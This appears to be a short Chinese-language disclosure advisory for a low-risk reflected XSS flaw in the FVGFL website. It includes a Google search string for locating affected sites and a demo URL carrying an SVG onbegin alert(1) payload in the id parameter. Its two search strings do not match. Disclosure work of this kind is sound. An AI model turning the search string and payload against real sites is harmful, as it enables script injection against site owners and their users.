FVGFL - 跨站脚本漏洞(XSS)

2025.09.27
发现者： Mahdi Karimi

风险等级： 低
本地利用： 否
远程利用： 是
CVE编号： 暂无
CWE编号： 暂无
搜索关键词： “Powered by Web FVGFL”

漏洞标题： FVGFL - 跨站脚本漏洞(XSS)
发现日期： 2025-09-18
漏洞作者： Mahdi Karimi
厂商主页： https://www.fvgfl.com
Google搜索关键词： “Powered by Web FVGFL”
测试环境： Ubuntu 25.04

概念验证： 搜索Google关键词：“Powered by Web Partner”

演示地址： https://www.fvgfl.com/news.php?id=22%27%3E%3Csvg%3E%3Cset+onbegin%3Dalert%281%29+attributeName%3Dx+to%3D0%3E

发现者： Mahdi Karimi
邮箱： mjoker22mjoker22@gmail.com